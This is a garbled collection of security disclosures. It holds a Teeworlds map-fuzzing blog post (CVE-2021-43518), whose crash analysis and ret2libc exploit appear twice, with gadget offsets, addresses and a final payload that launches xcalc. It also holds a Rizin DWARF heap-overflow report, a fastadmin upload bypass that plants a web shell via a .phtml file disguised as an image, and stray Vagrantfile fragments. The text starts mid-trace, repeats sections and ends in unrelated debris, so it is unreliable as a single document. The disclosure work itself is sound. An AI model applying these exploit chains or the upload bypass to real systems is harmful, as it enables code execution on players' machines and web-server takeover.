        #8 0x7ffff68e10b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #9 0x5555555dc48d in _start (/home/osboxes/teeworlds/teeworlds-asan/build/teeworlds+0x8848d)
    

    [...]
    169:  for(int i = 0; i < pItem->m_NumPoints; i++)
    170:  {
    171:          // convert CEnvPoint_v1 -> CEnvPoint
    172:          CEnvPoint_v1 *pEnvPoint_v1 = &((CEnvPoint_v1 *)pPoints)[i + pItem->m_StartPoint];
    173:          CEnvPoint p;
    174:  
    175:          p.m_Time = pEnvPoint_v1->m_Time;
    176:          p.m_Curvetype = pEnvPoint_v1->m_Curvetype;
    177:  
    178:          for(int c = 0; c < pItem->m_Channels; c++)
    179:          {
    180:                  p.m_aValues[c] = pEnvPoint_v1->m_aValues[c];
    181:                  p.m_aInTangentdx[c] = 0;
    182:                  p.m_aInTangentdy[c] = 0;
    183:                  p.m_aOutTangentdx[c] = 0;
    184:                  p.m_aOutTangentdy[c] = 0;
    185:          }
    [...]
    

pItem->m_Channels and pEnvPoint_v1->m_aValues are values coming from the map file. The nested loop lacks additional condition and allows writing outside the p.m_aValues 4-element array.

    struct CEnvPoint : public CEnvPoint_v1
    {
            // bezier curve only
            // dx in ms and dy as 22.10 fxp
            int m_aInTangentdx[4];
            int m_aInTangentdy[4];
            int m_aOutTangentdx[4];
            int m_aOutTangentdy[4];
    
            bool operator<(const CEnvPoint& other) const { return m_Time < other.m_Time; }
    };
    

It looked promising, however, I didn’t find a working way to exploit it, and as it wasn’t the main area of my effort I postponed it for another time.

Update: As a friend pointed out and put me in the right direction, I did a mistake analyzing an optimized code (which was weird for a project compiled with the -O0 flag which was caused by using a release target in cmake that enables optimization). However, the official build does not have an optimized code that broke exploitation attempts. Additionally, the binary even has the stack protection disabled what makes it even easier.

    $ checksec --file=teeworlds 
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
    Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   4168) Symbols     No    0               12              teeworlds
    

With a little modification made to the map, I overwrote the instruction pointer.

    $ gdb --args ./teeworlds 'connect 127.0.0.1' 
    [...]
    Thread 1 "teeworlds" received signal SIGSEGV, Segmentation fault.
    0x000000aabbccddee in ?? ()
    

**Exploit**

I decided to exploit it just for fun. Unfortunately, there were no other bugs that could be chained to bypass ASLR. For the purpose of the exercise, I continued with ASLR disabled and use ret2libc technique to pop a calc executing system("/usr/bin/xcalc").

To succeed with ret2libc exploit, I required the following things:

1.  Gadget with ret and pop rdi; ret instructions to align the stack, load the parameter for the system function and jump to it
    
        $ ROPgadget --binary teeworlds | grep 'pop rdi ; ret'
        [...]
        0x0000000000011339 : pop rdi ; ret
        [...]
        
    
    *   The pop rdi; ret instructions were at offset 0x011339 and the sole ret at 0x011339
    *   To make use of those instructions it was also necessary to calculate their absolute addresses by adding their offsets to the address at which the binary was loaded.
        
            (gdb) info proc mappings
            process 13108
            Mapped address spaces:
            
               Start Addr           End Addr       Size     Offset objfile
               0x555555554000     0x555555695000   0x141000        0x0 /home/osboxes/Downloads/teeworlds-0.7.5-linux_x86_64/teeworlds
            
        
        *   0x555555554000 + 0x01133A = 0x55555556533A
        *   0x555555554000 + 0x011339 = 0x555555565339
2.  Address of the system function
    
        (gdb) p system
        $3 = {int (const char *)} 0x7ffff76c9410 <__libc_system>
        
    
3.  Address of the /usr/bin/xcalc string
    *   I put the string in that part of the map that was written to the stack. The exact address I found by examining available strings on the stack under gdb.
        
            0x7ffffffddc20: "/usr/bin/xcalc"
            
        

Having all the prerequisites, I combined them into a final exploit: 3A535655555500 39535655555500 20DCFDFFFF7F00 10946CF7FF7F00 and I put it in the place of the value that was messing with the instruction pointer. So that time when the map was loaded, the stack was overwritten with valid addresses that redirected execution into the system function with the desired parameter.

**Additional bug**

When running with ASAN, the game was crashing immediately and reporting use after free error. To avoid this problem during the fuzzing I disabled ASAN for the faulty method.

    diff --git a/src/game/client/components/menus_browser.cpp b/src/game/client/components/menus_browser.cpp
    index 85f1bde1..d0cb938d 100644
    --- a/src/game/client/components/menus_browser.cpp
    +++ b/src/game/client/components/menus_browser.cpp
    @@ -1,3 +1,8 @@
    +#if defined(__clang__) || defined (__GNUC__)
    +# define ATTRIBUTE_NO_SANITIZE_ADDRESS __attribute__((no_sanitize_address))
    +#else
    +# define ATTRIBUTE_NO_SANITIZE_ADDRESS
    +#endif
     /* (c) Magnus Auvinen. See licence.txt in the root of the distribution for more information. */
     /* If you are missing that file, acquire a complete release at teeworlds.com.                */
     #include <algorithm> // sort  TODO: remove this
    @@ -75,6 +80,7 @@ void CMenus::CBrowserFilter::Reset()
            }
     }
     
    +ATTRIBUTE_NO_SANITIZE_ADDRESS
     void CMenus::CBrowserFilter::Switch()
     {
            m_Extended ^= 1;
    

This small teebug was also reported: https://github.com/teeworlds/teeworlds/issues/2967

**Summary**

Two approaches to fuzzing a map parser detected **15** crashes in total. All of those findings could be used to set up a malicious server and mess up clients’ memory and crash them. One of them turned out to be serious enough to allow code execution. As the results appeared satisfying I will look into other online games as well.

CVE-2021-43518: Fuzzing game map parsers, part 1

**tl;dr**: Using AFLplusplus for fuzzing map parser in Teeworlds. Two different approaches (quick and thorough) result in 15 crashes in total (one exploitable).

**Intro**

Games that support loading custom maps have to deal with parsing pretty complex files and complexity may lead to bugs. It may be especially important for online games, where players connecting to a server download and parse missing map files. If players can to set up their servers and offer custom maps then this process may be abused. A malicious server may cause unaware players to download a specially crafted map and cause unexpected behavior (desirable code execution). I decided to focus more on that topic and select an online game that can serve custom maps to players joining a game.

As my first target, I chose Teeworlds, an online shooter that I had analyzed before but from a different angle. The game has a map editor and players joining a game automatically download a missing map. This behavior makes this game a great candidate for research.

**Preparation**

The game’s source code is available at GitHub and documented instructions are enough to build the game on Ubuntu 20.04. However, before building the game with AFLplusplus I had to introduce some changes to the code to make fuzzing possible and efficient - more details in a moment.

Besides the code changes, I also needed input files. I decided to take the smallest original map that is available in the game.

    $ ls -laS datasrc/maps/
    total 348
    [...]
    -rw-rw-r--  1 m m  5731 Oct 22 16:19 ctf1.map
    [...]
    

Its size was quite big but at least the map was valid and I was sure that it parses correctly.

**Approach 1 - quick**

Running the game to parse a map has its drawbacks. When the game starts it loads a map from a file and then during the whole gameplay uses its data for rendering, calculations, and so on. I had to decide at which moment of execution I want to stop it. I was curious if bugs are more likely to happen in code that is responsible for reading a map from a file and preparing data structures or rather in later phases when this data is being used. There was nothing left to do but check both cases.

So for the first case, I took stopping the game immediately after parsing a file. I found a suitable place in the code - after all necessary initialization - and invoked parsing a map. A filename passed to a method was hardcoded because in a normal situation a client receives a filename from a server.

    diff --git a/src/engine/client/client.cpp b/src/engine/client/client.cpp
    index b9a2e014..4b5a9e16 100644
    --- a/src/engine/client/client.cpp
    +++ b/src/engine/client/client.cpp
    @@ -1842,6 +1842,10 @@ void CClient::InitInterfaces()
            m_Blacklist.Init();
            m_DemoRecorder.Init(Console(), m_pStorage);
            m_DemoPlayer.Init(Console(), m_pStorage);
    +
    +       __AFL_INIT();
    +       m_pMap->Load("maps/666.map");
    +       exit(0);
     }
    

At that point, I was ready to build and start fuzzing.

**Approach 2 - thorough**

When the process of fuzzing the first case was ongoing, I looked into the source code again to cause the game to parse and really use map data but also to exit in a reasonable time. In this case, communication with a server was necessary to cause the gameplay to start.

I ended up introducing the following changes:

1.  Disable CRC and SHA256 checksum checking - these values are sent by a server just to be sure that both sides use the same file. For fuzzing, those checks could be ignored.
2.  Exit the game after 150 frames. This value was chosen as the result of experimentation and was enough for the game to display a map on the screen.

    diff --git a/src/engine/client/client.cpp b/src/engine/client/client.cpp
    index b9a2e014..4b5a9e16 100644
    --- a/src/engine/client/client.cpp
    +++ b/src/engine/client/client.cpp
    @@ -810,7 +810,7 @@ const char *CClient::LoadMap(const char *pName, const char *pFilename, const SHA
                    return aErrorMsg;
            }
     
    -       if(pWantedSha256 && m_pMap->Sha256() != *pWantedSha256)
    +       if(0 && pWantedSha256 && m_pMap->Sha256() != *pWantedSha256)
            {
                    char aSha256[SHA256_MAXSTRSIZE];
                    char aWantedSha256[SHA256_MAXSTRSIZE];
    @@ -823,7 +823,7 @@ const char *CClient::LoadMap(const char *pName, const char *pFilename, const SHA
            }
     
            // get the crc of the map
    -       if(m_pMap->Crc() != WantedCrc)
    +       if(0 && m_pMap->Crc() != WantedCrc)
            {
                    str_format(aErrorMsg, sizeof(aErrorMsg), "map differs from the server. found = %08x wanted = %08x", m_pMap->Crc(), WantedCrc);
                    m_pConsole->Print(IConsole::OUTPUT_LEVEL_ADDINFO, "client", aErrorMsg);
    @@ -1999,7 +2003,7 @@ void CClient::Run()
            char aBuf[256];
            str_format(aBuf, sizeof(aBuf), "netversion %s", GameClient()->NetVersion());
            m_pConsole->Print(IConsole::OUTPUT_LEVEL_STANDARD, "client", aBuf);
    -       if(str_comp(GameClient()->NetVersionHashUsed(), GameClient()->NetVersionHashReal()))
    +       if(0 && str_comp(GameClient()->NetVersionHashUsed(), GameClient()->NetVersionHashReal()))
            {
                    m_pConsole->Print(IConsole::OUTPUT_LEVEL_STANDARD, "client", "WARNING: netversion hash differs");
            }
    @@ -2128,7 +2132,10 @@ void CClient::Run()
                                    // when we are stress testing only render every 10th frame
                                    if(!Config()->m_DbgStress || (m_RenderFrames%10) == 0 )
                                    {
    +                                       static int fuzz_counter = 0;
    +                                       fuzz_counter++;
                                            Render();
    +                                       if (fuzz_counter == 150) exit(0);
                                            m_pGraphics->Swap();
    

To make the fuzzing work, I had to run the server and make the fuzzed client connect to it. Hopefully, all necessary options were already implemented as command line parameters.

    $ echo 'sv_map 666' > config.cfg
    $ ./teeworlds_srv -f config.cfg
    

    $ ./afl-fuzz -f /home/mmm/teeworlds/build/data/maps/666.map -i - -o /home/mmm/output -t 5000 -- ./teeworlds "connect 127.0.0.1" "gfx_fullscreen 0" "gfx_screen_height 240" "gfx_screen_width 360"
    

The `-f` parameter points to a file where AFLplusplus was saving its mutated input. Even though the client was connecting to the server, it was noticing that already had a map with the desired name so it was loading it from the disk instead of downloading from the server.

An additional profit of this approach was the possibility to observe what the fuzzer was changing in the map file. It didn’t have any value for the fuzzing but at least was fun to watch.

![](https://mmmds.pl/images/teeworlds.gif)

**Coverage**

After approximately 24 hours I decided to check the results. To my surprise, both approaches turned out to be successful. The first approach was much faster but covered less code than the painfully slow second approach.

I used afl-cov to generate code coverage reports for the initial test case as well as for all entries generated by AFL during the fuzzing. In that way, it’s visible how much code the fuzzing actually covered.

*   First approach
    *   initial test case - lines: **5.2%**, functions: **7.9%**
    *   whole fuzzing - lines: **5.3**, functions: **8.1%**
*   Second approach
    *   initial test case - lines: **26.7%**, functions: **35.4%**
    *   whole fuzzing - lines: **29.2%**, functions: **37%**

Commands used for generating a report for:

*   the initial test case
    
        afl-cov -d /home/mmm/teeworlds/output/ --coverage-cmd "./teeworlds 'connect 127.0.0.1' 'gfx_fullscreen 0' 'gfx_screen_height 240' 'gfx_screen_width 360'" --code-dir /home/mmm/teeworlds-afl-cov/  --afl-file /home/mmm/teeworlds-afl-cov/build/data/maps/666.map --afl-queue-id-limit 1
        
    
*   all entries
    
        afl-cov -d /home/mmm/teeworlds/output/ --coverage-cmd "./teeworlds 'connect 127.0.0.1' 'gfx_fullscreen 0' 'gfx_screen_height 240' 'gfx_screen_width 360'" --code-dir /home/mmm/teeworlds-afl-cov/  --afl-file /home/mmm/teeworlds-afl-cov/build/data/maps/666.map
        
    

The `--afl-file` parameter may look unfamiliar because I implemented it for this specific case. At the moment of writing, afl-cov does not support passing an input file in a way that AFL’s `-f` parameter does. The change is currently available here.

**Results**

The first approach resulted in **4** unique crashes. The second approach was responsible for **11** more unique crashes.

I reported all crashes on GitHub:

*   Null pointer dereference (read)
    *   https://github.com/teeworlds/teeworlds/issues/2968
    *   https://github.com/teeworlds/teeworlds/issues/2973
    *   https://github.com/teeworlds/teeworlds/issues/2980
*   Heap buffer overflow (read)
    *   https://github.com/teeworlds/teeworlds/issues/2969
    *   https://github.com/teeworlds/teeworlds/issues/2971
    *   https://github.com/teeworlds/teeworlds/issues/2972
    *   https://github.com/teeworlds/teeworlds/issues/2974
    *   https://github.com/teeworlds/teeworlds/issues/2975
    *   https://github.com/teeworlds/teeworlds/issues/2976
    *   https://github.com/teeworlds/teeworlds/issues/2977
    *   https://github.com/teeworlds/teeworlds/issues/2978
    *   https://github.com/teeworlds/teeworlds/issues/2979
    *   https://github.com/teeworlds/teeworlds/issues/2982
*   Stack buffer overflow (write)
    *   https://github.com/teeworlds/teeworlds/issues/2981 (CVE-2021-43518)
*   Use after free (read)
    *   https://github.com/teeworlds/teeworlds/issues/2970

**Crash analysis**

From those crashes, the one related to writing on the stack seemed to be most interesting.

    ==33805==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffffffd8f78 at pc 0x5555556fae80 bp 0x7ffffffd8e10 sp 0x7ffffffd8e00
    WRITE of size 4 at 0x7ffffffd8f78 thread T0
        #0 0x5555556fae7f in CMapLayers::LoadEnvPoints(CLayers const*, array<CEnvPoint, allocator_default<CEnvPoint> >&) /home/osboxes/teeworlds/teeworlds-asan/src/game/client/components/maplayers.cpp:184
        #1 0x5555556fcf3b in CMapLayers::OnMapLoad() /home/osboxes/teeworlds/teeworlds-asan/src/game/client/components/maplayers.cpp:117
        #2 0x555555839981 in CGameClient::OnConnected() /home/osboxes/teeworlds/teeworlds-asan/src/game/client/gameclient.cpp:459
        #3 0x5555555f6755 in CClient::ProcessServerPacket(CNetChunk*) /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1283
        #4 0x5555555f91ce in CClient::PumpNetwork() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1596
        #5 0x5555555f9596 in CClient::Update() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:1766
        #6 0x5555555fc1f0 in CClient::Run() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:2108
        #7 0x5555555d24e5 in main /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:2704
        #8 0x7ffff68e10b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #9 0x5555555dc48d in _start (/home/osboxes/teeworlds/teeworlds-asan/build/teeworlds+0x8848d)
    

    [...]
    169:  for(int i = 0; i < pItem->m_NumPoints; i++)
    170:  {
    171:          // convert CEnvPoint_v1 -> CEnvPoint
    172:          CEnvPoint_v1 *pEnvPoint_v1 = &((CEnvPoint_v1 *)pPoints)[i + pItem->m_StartPoint];
    173:          CEnvPoint p;
    174:  
    175:          p.m_Time = pEnvPoint_v1->m_Time;
    176:          p.m_Curvetype = pEnvPoint_v1->m_Curvetype;
    177:  
    178:          for(int c = 0; c < pItem->m_Channels; c++)
    179:          {
    180:                  p.m_aValues[c] = pEnvPoint_v1->m_aValues[c];
    181:                  p.m_aInTangentdx[c] = 0;
    182:                  p.m_aInTangentdy[c] = 0;
    183:                  p.m_aOutTangentdx[c] = 0;
    184:                  p.m_aOutTangentdy[c] = 0;
    185:          }
    [...]
    

`pItem->m_Channels` and `pEnvPoint_v1->m_aValues` are values coming from the map file. The nested loop lacks additional condition and allows writing outside the `p.m_aValues` 4-element array.

    struct CEnvPoint : public CEnvPoint_v1
    {
            // bezier curve only
            // dx in ms and dy as 22.10 fxp
            int m_aInTangentdx[4];
            int m_aInTangentdy[4];
            int m_aOutTangentdx[4];
            int m_aOutTangentdy[4];
    
            bool operator<(const CEnvPoint& other) const { return m_Time < other.m_Time; }
    };
    

It looked promising, however, I didn’t find a working way to exploit it, and as it wasn’t the main area of my effort I postponed it for another time.

Update: As a friend pointed out and put me in the right direction, I did a mistake analyzing an optimized code (which was weird for a project compiled with the `-O0` flag which was caused by using a release target in cmake that enables optimization). However, the official build does not have an optimized code that broke exploitation attempts. Additionally, the binary even has the stack protection disabled what makes it even easier.

    $ checksec --file=teeworlds 
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
    Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   4168) Symbols     No    0               12              teeworlds
    

With a little modification made to the map, I overwrote the instruction pointer.

    $ gdb --args ./teeworlds 'connect 127.0.0.1' 
    [...]
    Thread 1 "teeworlds" received signal SIGSEGV, Segmentation fault.
    0x000000aabbccddee in ?? ()
    

**Exploit**

I decided to exploit it just for fun. Unfortunately, there were no other bugs that could be chained to bypass ASLR. For the purpose of the exercise, I continued with ASLR disabled and use ret2libc technique to pop a calc executing `system("/usr/bin/xcalc")`.

To succeed with ret2libc exploited, I required the following things:

1.  Gadget with `ret` and `pop rdi; ret` instructions to align the stack, load the parameter for the `system` function and jump to it
    
        $ ROPgadget --binary teeworlds | grep 'pop rdi ; ret'
        [...]
        0x0000000000011339 : pop rdi ; ret
        [...]
        
    
    *   The `pop rdi; ret` instructions were at offset `0x011339` and the sole `ret` at `0x011339`
    *   To make use of those instructions it was also necessary to calculate their absolute addresses by adding their offsets to the address at which the binary was loaded.
        
            (gdb) info proc mappings
            process 13108
            Mapped address spaces:
            
               Start Addr           End Addr       Size     Offset objfile
               0x555555554000     0x555555695000   0x141000        0x0 /home/osboxes/Downloads/teeworlds-0.7.5-linux_x86_64/teeworlds
            
        
        *   `0x555555554000 + 0x01133A = 0x55555556533A`
        *   `0x555555554000 + 0x011339 = 0x555555565339`
2.  Address of the `system` function
    
        (gdb) p system
        $3 = {int (const char *)} 0x7ffff76c9410 <__libc_system>
        
    
3.  Address of the `/usr/bin/xcalc` string
    *   I put the string in that part of the map that was written to the stack. The exact address I found by examining available strings on the stack under gdb.
        
            0x7ffffffddc20: "/usr/bin/xcalc"
            
        

Having all the prerequisites, I combined them into a final exploit: `3A535655555500 39535655555500 20DCFDFFFF7F00 10946CF7FF7F00` and I put it in the place of the value that was messing with the instruction pointer. So that time when the map was loaded, the stack was overwritten with valid addresses that redirected execution into the `system` function with the desired parameter.

![](https://mmmds.pl/images/teeexploit.gif)

**Additional bug**

When running with ASAN, the game was crashing immediately and reporting use after free error. To avoid this problem during the fuzzing I disabled ASAN for the faulty method.

    diff --git a/src/game/client/components/menus_browser.cpp b/src/game/client/components/menus_browser.cpp
    index 85f1bde1..d0cb938d 100644
    --- a/src/game/client/components/menus_browser.cpp
    +++ b/src/game/client/components/menus_browser.cpp
    @@ -1,3 +1,8 @@
    +#if defined(__clang__) || defined (__GNUC__)
    +# define ATTRIBUTE_NO_SANITIZE_ADDRESS __attribute__((no_sanitize_address))
    +#else
    +# define ATTRIBUTE_NO_SANITIZE_ADDRESS
    +#endif
     /* (c) Magnus Auvinen. See licence.txt in the root of the distribution for more information. */
     /* If you are missing that file, acquire a complete release at teeworlds.com.                */
     #include <algorithm> // sort  TODO: remove this
    @@ -75,6 +80,7 @@ void CMenus::CBrowserFilter::Reset()
            }
     }
     
    +ATTRIBUTE_NO_SANITIZE_ADDRESS
     void CMenus::CBrowserFilter::Switch()
     {
            m_Extended ^= 1;
    

This small teebug was also reported: https://github.com/teeworlds/teeworlds/issues/2967

**Summary**

Two approaches to fuzzing a map parser detected **15** crashes in total. All of those findings could be used to set up a malicious server and mess up clients’ memory and crash them. One of them turned out to be serious enough to allow code execution. As the results appeared satisfying I will look into other online games as well.

Rizin is a UNIX-like reverse engineering framework and command-line toolset. In versions up to and including 0.3.1 there is a heap-based out of bounds write in parse_die() when reversing an AMD64 ELF binary with DWARF debug info. When a malicious AMD64 ELF binary is opened by a victim user, Rizin may crash or execute unintended actions. No workaround are known and users are advised to upgrade.

**Work environment**

Questions

Answers

OS/arch/bits (mandatory)

Ubuntu 20.04 amd64

File format of the file you reverse (mandatory)

ELF64

Architecture/bits of the file (mandatory)

amd64

`rizin -v` full output, **not truncated** (mandatory)

rizin 0.4.0-git @ linux-x86-64 commit: 5b6aaed, build: 2021-12-09\_\_11:19:29

**Expected behavior**

Analyzing binaries shouldn't trigger an OOB memory write.

**Actual behavior**

There is a heap-based out of bounds write in `parse_die` when reversing an amd64 elf binary with dwarf debug info, respectively.

**Steps to reproduce the behavior**

Analyze the binary attached below with aaa on an asan build to reproduce the crash.

binary.zip

**Additional Logs, screenshots, source code, configuration dump, ...**

    $ LD_LIBRARY_PATH=/home/faraday/rizin_dyn_asan/lib/x86_64-linux-gnu/ /home/faraday/rizin_dyn_asan/bin/rizin -TQA crashes/id\:000031\,sig\:11\,src\:028821\,time\:410419260\,op\:ext_AO\,pos\:17016 
    =================================================================
    ==61456==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200001df71 at pc 0x7f0e89427f2d bp 0x7ffcce5e6df0 sp 0x7ffcce5e6598
    WRITE of size 40 at 0x60200001df71 thread T0
        #0 0x7f0e89427f2c  (/lib/x86_64-linux-gnu/libasan.so.5+0x67f2c)
        #1 0x7f0e85fb9f99 in parse_die ../librz/bin/dwarf.c:1730
        #2 0x7f0e85fbaad3 in parse_comp_unit ../librz/bin/dwarf.c:1822
        #3 0x7f0e85fbbdb4 in parse_info_raw ../librz/bin/dwarf.c:1955
        #4 0x7f0e85fbcebe in rz_bin_dwarf_parse_info ../librz/bin/dwarf.c:2109
        #5 0x7f0e857f436c in rz_core_bin_apply_dwarf ../librz/core/cbin.c:694
        #6 0x7f0e857f103f in rz_core_bin_apply_info ../librz/core/cbin.c:316
        #7 0x7f0e857f1611 in rz_core_bin_apply_all_info ../librz/core/cbin.c:369
        #8 0x7f0e85848fc3 in rz_core_file_do_load_for_io_plugin ../librz/core/cfile.c:712
        #9 0x7f0e8584afed in rz_core_bin_load ../librz/core/cfile.c:940
        #10 0x7f0e8905abdd in rz_main_rizin ../librz/main/rizin.c:1128
        #11 0x55a1564cd9bd in main ../binrz/rizin/rizin.c:57
        #12 0x7f0e88e650b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #13 0x55a1564cd2ed in _start (/home/faraday/rizin_dyn_asan/bin/rizin+0x22ed)
    
    0x60200001df71 is located 0 bytes to the right of 1-byte region [0x60200001df70,0x60200001df71)
    allocated by thread T0 here:
        #0 0x7f0e894cddc6 in calloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10ddc6)
        #1 0x7f0e85fb5b47 in init_die ../librz/bin/dwarf.c:1223
        #2 0x7f0e85fba990 in parse_comp_unit ../librz/bin/dwarf.c:1816
        #3 0x7f0e85fbbdb4 in parse_info_raw ../librz/bin/dwarf.c:1955
        #4 0x7f0e85fbcebe in rz_bin_dwarf_parse_info ../librz/bin/dwarf.c:2109
        #5 0x7f0e857f436c in rz_core_bin_apply_dwarf ../librz/core/cbin.c:694
        #6 0x7f0e857f103f in rz_core_bin_apply_info ../librz/core/cbin.c:316
        #7 0x7f0e857f1611 in rz_core_bin_apply_all_info ../librz/core/cbin.c:369
        #8 0x7f0e85848fc3 in rz_core_file_do_load_for_io_plugin ../librz/core/cfile.c:712
        #9 0x7f0e8584afed in rz_core_bin_load ../librz/core/cfile.c:940
        #10 0x7f0e8905abdd in rz_main_rizin ../librz/main/rizin.c:1128
        #11 0x55a1564cd9bd in main ../binrz/rizin/rizin.c:57
        #12 0x7f0e88e650b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0x67f2c) 
    Shadow bytes around the buggy address:
      0x0c047fffbb90: fa fa fd fa fa fa fa fa fa fa fd fa fa fa fa fa
      0x0c047fffbba0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fa fa
      0x0c047fffbbb0: fa fa fd fa fa fa fa fa fa fa fd fd fa fa fd fa
      0x0c047fffbbc0: fa fa fa fa fa fa fd fa fa fa fa fa fa fa fd fa
      0x0c047fffbbd0: fa fa fa fa fa fa fd fa fa fa fa fa fa fa fd fa
    =>0x0c047fffbbe0: fa fa fa fa fa fa fd fa fa fa fd fd fa fa[01]fa
      0x0c047fffbbf0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
      0x0c047fffbc00: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
      0x0c047fffbc10: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
      0x0c047fffbc20: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
      0x0c047fffbc30: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==61456==ABORTING
    

The issue seems to be that at `dwarf.c:1223` the line `die->attr_values = calloc(sizeof(RzBinDwarfAttrValue), attr_count);` gets executed with `attr_count` equal to 0, so this is equivalent to a `malloc(0)` (I think in this case a chunk with the smallest allocatable size is returned, which should be around 16 or 32 bytes, but in `dwarf.c:1730` a die\_attribute gets written, which is 40 bytes in size).

This happens because in `dwarf.c:1729` the loop gets run `attr_count - 1` times, but as `abbrev->count` is 0 and is of type `size_t` this results in an undeflow which then triggers the OOB write.

CVE-2021-43814: Heap-based OOB write when parsing dwarf die info · Issue #2083 · rizinorg/rizin

fastadmin v1.2.1 is affected by a file upload vulnerability which allows arbitrary code execution through shell access.

Detail:  
![2](https://user-images.githubusercontent.com/54835964/139025297-0b560dac-053e-4c5d-81ab-458d303b01eb.png)  
\`image.png  
POST /fastadmin/public/UCAdNKmOnG.php/ajax/upload HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0  
Accept: application/json  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Cache-Control: no-cache  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------261389892721156981001433602982  
Content-Length: 23583  
Origin: http://localhost  
Connection: close  
Cookie: Phpstorm-40b5128e=37cc58fa-2924-474e-95a3-1066d7c6bcfd; PHPSESSID=obk19k61dd4jmat3ljhkihr00h; think\_var=zh-cn  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin

\-----------------------------261389892721156981001433602982  
Content-Disposition: form-data; name="file"; filename="1.png"  
Content-Type: image/png

�PNG  
�  
\`  
application/common/library/Upload.php Line 312:  
![3](https://user-images.githubusercontent.com/54835964/139025532-f34122ca-5fb7-42b3-bb5a-cb39884d8c71.png)  
Four method ,analyse one by one  
application/common/library/Upload.php#checkSize Line 120: check upload file size is not bigger than default  
![4](https://user-images.githubusercontent.com/54835964/139025581-e5ad7711-aba7-4573-99b1-a9ebea8f67bc.png)  
application/common/library/Upload.php#checkExecutable Line 82: PHP file and HTML file is not allowed to upload  
![5](https://user-images.githubusercontent.com/54835964/139025627-1c83d3c3-53d6-4a19-99be-8d6b287ff2e9.png)  
application/common/library/Upload.php#checkMimetype Line 91: check file type,$mimetypeArr is default value,$mimetypeArr =$this->config\['mimetype'\]=\[jpg,png,bmp,jpeg,gif,zip,rar,xls,xlsx,wav,mp4,mp3,pdf\],file type must in this array  
![6](https://user-images.githubusercontent.com/54835964/139025689-61d2a197-d85e-4450-bb2a-2e21ae6069b1.png)  
application/common/library/Upload.php#checkImage Line 103:check upload file is a picture,because judgment is logical or,as long as type value in\_array return true,we can upload other PHP suffix file that can be parsed，such as php5,phtml,php3 and so on  
![7](https://user-images.githubusercontent.com/54835964/139025818-e4455585-3712-4bc7-8de0-ff466ed375ac.png)  
change the content-type to gif,filename to xx.phtml  
![8](https://user-images.githubusercontent.com/54835964/139025875-14825380-af01-4de8-81d3-dba28e60eed8.png)  
however,phtml can't be parsed,I find that if the CMS is build with Debian or Ubuntu environment,attack can be succeed.Debian or Ubuntu apache2 configuration file write as follow,it will contains mods-enabled/\*.conf file automatically，which default parse phtml as php  
![9](https://user-images.githubusercontent.com/54835964/139025928-3076580a-9997-4283-a635-02754dddee26.png)  
![10](https://user-images.githubusercontent.com/54835964/139025947-132095db-6ba2-4a6c-b0a1-ab6bfad86fae.png)  
so,access the shell address to complete the attack,this ip is my debian's ip address  
![11](https://user-images.githubusercontent.com/54835964/139025994-fef79609-2feb-4ee7-9066-1811f2d81c1c.png)

CVE-2021-43117: fastadmin v1.2.1 file upload getshell · Issue #1 · ambitiousleader/some-automated-script

phpservermon is vulnerable to Improper Neutralization of CRLF Sequences

@@ -1,264 +1,21 @@ require 'yaml'  
dir \= File.dirname(File.expand\_path(\_\_FILE\_\_))  
configValues \= YAML.load\_file("#{dir}/puphpet/config.yaml") data \= configValues\['vagrantfile-local'\]  
Vagrant.require\_version '>= 1.6.0'  
Vagrant.configure('2') do |config| config.vm.box \= "#{data\['vm'\]\['box'\]}" config.vm.box\_url \= "#{data\['vm'\]\['box\_url'\]}"  
if data\['vm'\]\['hostname'\].to\_s.strip.length != 0 config.vm.hostname \= "#{data\['vm'\]\['hostname'\]}" end  
if data\['vm'\]\['network'\]\['private\_network'\].to\_s != '' config.vm.network 'private\_network', ip: "#{data\['vm'\]\['network'\]\['private\_network'\]}" end  
